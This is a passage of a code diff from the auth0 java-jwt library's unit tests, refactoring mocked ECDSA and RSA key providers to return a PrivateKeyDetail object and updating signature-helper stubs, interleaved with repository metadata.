-        when(provider.getPrivateKey()).thenReturn(privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
 
         String signed = JWTCreator.init()
                 .sign(Algorithm.ECDSA256(provider));
@@ -204,8 +232,17 @@ public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
     public void shouldNotOverwriteKeyIdIfAddedFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
 
         String signed = JWTCreator.init()
                 .withKeyId("real-key-id")u}(j  (7dfe4a9d30118916b717850dccd440d6639b95c2j  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  Xw  @@ -9,6 +9,7 @@
 
 import java.io.ByteArrayOutputStream;
 import java.nio.charset.StandardCharsets;
+import java.security.PrivateKey;
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;
@@ -560,10 +561,25 @@ public void shouldForwardHeaderPayloadSignatureToSiblingSignMethodForBackwardsCo
         byte[] payload = new byte[]{0x04, 0x05, 0x06};
 
         byte[] signature = new byte[]{0x10, 0x11, 0x12};
-        when(algorithm.sign(any(byte[].class), any(byte[].class))).thenCallRealMethod();
-        when(algorithm.sign(contentCaptor.capture())).thenReturn(signature);
-
-        byte[] sign = algorithm.sign(header, payload);
+        when(algorithm.sign(any(byte[].class), any(byte[].class), any(PrivateKey.class))).thenCallRealMethod();
+        when(algorithm.sign(contentCaptor.capture(), any(PrivateKey.class))).thenReturn(signature);
+
+        byte[] sign = algorithm.sign(header, payload, new PrivateKey() {
+            @Override
+            public String getAlgorithm() {
+                return null;
+            }
+
+            @Override
+            public String getFormat() {
+                return null;
+            }
+
+            @Override
+            public byte[] getEncoded() {
+                return new byte[0];
+            }
+        });
 
         ByteArrayOutputStream bout = new ByteArrayOutputStream();
         bout.write(header);u}(j  (176f99a2359b78473b1c2f99f285f117e556974bj  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedjy  K^jz  K
j  Kkj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X#  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
 import org.junit.Rule;
@@ -554,7 +555,17 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA256(provider);
 
@@ -572,7 +583,17 @@ public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA256(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -612,7 +633,17 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_384, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA384(provider);
 
@@ -630,7 +661,17 @@ public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA384(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -673,7 +714,17 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_512, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA512(provider);
 
@@ -691,7 +742,17 @@ public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA512(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -714,7 +775,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -731,7 +792,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -748,7 +809,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -765,16 +826,26 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
 
-        assertThat(algorithm.getSigningKeyId(), is(nullValue()));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is(nullValue()));
     }
 
     @Test
     public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("keyId");
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "keyId";
+            }
+        });
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
 
-        assertThat(algorithm.getSigningKeyId(), is("keyId"));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is("keyId"));
     }
 
     @Test
@@ -1192,7 +1263,17 @@ public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKe
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA256(provider);
         algorithm.sign(new byte[0]);
     }u}(j  (523eb0a4f1d3bcd006ccbc43f829500f8c37eaeej  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedjy  KSjz  Kj  K_j  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X!  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import org.bouncycastle.jce.provider.BouncyCastleProvider;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -552,7 +553,17 @@ public void shouldDoECDSA256SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA256(provider);
         
@@ -570,7 +581,17 @@ public void shouldFailOnECDSA256SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA256(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -610,7 +631,17 @@ public void shouldDoECDSA384SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_384, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA384(provider);
         
@@ -628,7 +659,17 @@ public void shouldFailOnECDSA384SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA384(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -670,7 +711,17 @@ public void shouldDoECDSA512SigningWithProvidedPrivateKey() throws Exception {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE_512, "EC");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
-        when(provider.getPrivateKey()).thenReturn((ECPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return (ECPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((ECPublicKey) publicKey);
         Algorithm algorithm = Algorithm.ECDSA512(provider);
         String jwt = asJWT(algorithm, ES512Header, auth0IssPayload);
@@ -687,7 +738,17 @@ public void shouldFailOnECDSA512SigningWhenProvidedPrivateKeyIsNull() {
         exception.expectCause(hasMessage(is("The given Private Key is null.")));
 
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKey()).thenReturn(null);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return null;
+            }
+        });
         Algorithm algorithm = Algorithm.ECDSA512(provider);
         algorithm.sign(new byte[0], new byte[0]);
     }
@@ -710,7 +771,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -727,7 +788,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -744,7 +805,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
@@ -761,16 +822,26 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
 
-        assertThat(algorithm.getSigningKeyId(), is(nullValue()));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is(nullValue()));
     }
 
     @Test
     public void shouldReturnSigningKeyIdFromProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("keyId");
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<ECPrivateKey>() {
+            @Override
+            public ECPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "keyId";
+            }
+        });
         Algorithm algorithm = new ECDSAAlgorithm("some-alg", "some-algorithm", 32, provider);
 
-        assertThat(algorithm.getSigningKeyId(), is("keyId"));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is("keyId"));
     }
 
     @Testu}(j  (eacc5476af5cb3df0399c908f0c2c6971faa26eaj  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  XF  @@ -252,7 +252,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(byte[].class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(byte[].class), any(byte[].class)))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         Algorithm algorithm = new HMACAlgorithm(crypto, "some-alg", "some-algorithm", "secret".getBytes(StandardCharsets.UTF_8));
@@ -266,16 +266,16 @@ public void shouldThrowOnSignWhenTheSecretIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(byte[].class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(byte[].class), any(byte[].class)))
                 .thenThrow(InvalidKeyException.class);
 
         Algorithm algorithm = new HMACAlgorithm(crypto, "some-alg", "some-algorithm", "secret".getBytes(StandardCharsets.UTF_8));
         algorithm.sign(new byte[0], new byte[0]);
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() {
-        assertThat(Algorithm.HMAC256("secret").getSigningKeyId(), is(nullValue()));
+    public void shouldReturnNullPrivateKeyDetails() {
+        assertThat(Algorithm.HMAC256("secret").getPrivateKeyDetails(), is(nullValue()));
     }
 
     @Testu}(j  (60eecd8d6c7ba7b512abd0811fb079f0d1c52b4aj  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj  modifiedjy  Kjz  Kj  Kj  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X|  @@ -41,8 +41,8 @@ public void shouldFailNoneVerificationWhenSignatureIsPresent() {
     }
 
     @Test
-    public void shouldReturnNullSigningKeyId() {
-        assertThat(Algorithm.none().getSigningKeyId(), is(nullValue()));
+    public void shouldReturnNullPrivateKeyDetails() {
+        assertThat(Algorithm.none().getPrivateKeyDetails(), is(nullValue()));
     }
 
     @Testu}(j  (d41b6d74755cfec0135deb7c13cc71223f099791j  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj  modifiedjy  K3jz  K	j  K<j  https://github.com/auth0/java-jwt/blob/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/3be4b38d784b22f8e28fa39e8cdcf66643074b7e/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  X  @@ -3,13 +3,15 @@
 import com.auth0.jwt.JWT;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
+import com.auth0.jwt.interfaces.PrivateKeyDetail;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.io.ByteArrayOutputStream;
 import java.security.*;
+import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAKey;
 import java.security.interfaces.RSAPrivateKey;
 import java.security.interfaces.RSAPublicKey;
@@ -298,7 +300,17 @@ public void shouldDoRSA256SigningWithProvidedPrivateKey() throws Exception {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE, "RSA");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE, "RSA");
-        when(provider.getPrivateKey()).thenReturn((RSAPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return (RSAPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((RSAPublicKey) publicKey);
         Algorithm algorithm = Algorithm.RSA256(provider);
         
@@ -362,7 +374,17 @@ public void shouldDoRSA384SigningWithProvidedPrivateKey() throws Exception {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE, "RSA");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE, "RSA");
-        when(provider.getPrivateKey()).thenReturn((RSAPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return (RSAPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((RSAPublicKey) publicKey);
         Algorithm algorithm = Algorithm.RSA384(provider);
         
@@ -426,7 +448,17 @@ public void shouldDoRSA512SigningWithProvidedPrivateKey() throws Exception {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         PrivateKey privateKey = readPrivateKeyFromFile(PRIVATE_KEY_FILE, "RSA");
         PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE, "RSA");
-        when(provider.getPrivateKey()).thenReturn((RSAPrivateKey) privateKey);
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return (RSAPrivateKey) privateKey;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "my-key-id";
+            }
+        });
         when(provider.getPublicKeyById(null)).thenReturn((RSAPublicKey) publicKey);
         Algorithm algorithm = Algorithm.RSA512(provider);
         
@@ -467,7 +499,7 @@ public void shouldThrowOnSignWhenSignatureAlgorithmDoesNotExists() throws Except
         exception.expectCause(isA(NoSuchAlgorithmException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(NoSuchAlgorithmException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
@@ -484,7 +516,7 @@ public void shouldThrowOnSignWhenThePrivateKeyIsInvalid() throws Exception {
         exception.expectCause(isA(InvalidKeyException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(InvalidKeyException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
@@ -501,7 +533,7 @@ public void shouldThrowOnSignWhenTheSignatureIsNotPrepared() throws Exception {
         exception.expectCause(isA(SignatureException.class));
 
         CryptoHelper crypto = mock(CryptoHelper.class);
-        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class), any(byte[].class)))
+        when(crypto.createSignatureFor(anyString(), any(PrivateKey.class), any(byte[].class)))
                 .thenThrow(SignatureException.class);
 
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
